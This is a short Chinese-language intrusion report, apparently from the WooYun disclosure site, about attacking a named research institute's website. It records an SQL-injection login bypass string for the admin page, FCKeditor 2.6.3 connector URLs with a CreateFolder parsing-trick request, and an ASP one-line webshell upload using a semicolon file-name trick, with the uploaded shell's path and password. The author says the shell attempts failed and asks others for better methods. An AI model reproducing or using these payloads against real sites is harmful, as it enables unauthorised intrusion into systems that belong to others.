WooYun.org

中国科学院软件研究所
http://www.isec.ac.cn/
漏洞一：
http://www.isec.ac.cn/admin/login.aspx
后台万能密码
admin' or '1'='1

漏洞二：（尝试拿webshell未果）
http://www.isec.ac.cn/fckeditor/editor/dialog/fck_about.html
FCK editor
version
2.6.3
姿势一：（没成功）
突破建立文件夹http://www.myhack58.com/Article/html/3/62/2012/33638.htm
http://www.t00ts.net/post-29.html
http://www.isec.ac.cn/fckeditor/editor/filemanager/connectors/aspx/connector.aspx
http://www.isec.ac.cn/fckeditor/editor/filemanager/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=/qing.asp&NewFolderName=x.asp

建qing.asp文件夹成功
但是看不了。。。
http://www.isec.ac.cn/fckeditor/editor/filemanager/browser/default/browser.html
姿势二：（失败，传上，菜刀连405）目录禁止post，而一句话采用post连接
http://www.isec.ac.cn/fckeditor/editor/filemanager/connectors/test.html
上传asp一句话，文件名fuck.asp;1.jpg，上传两次，第一次系统会把.变成_，文件变成fuck_asp;1.jpg 。第二次会重命名为fuck.asp;1(1).jpg 完成asp上传，利用解析漏洞完成getshell。

http://www.isec.ac.cn/upload/Pic/file/fuck.asp;1(1).jpg 密码pass
菜刀一句话连接405错误解析http://www.hack80.com/thread-662-1-1.html
但是也没成功。。

特么IIS 7.5的。。。无法利用上述解析漏洞。。
至此结束，未成功拿到shell，望大牛指教姿势。。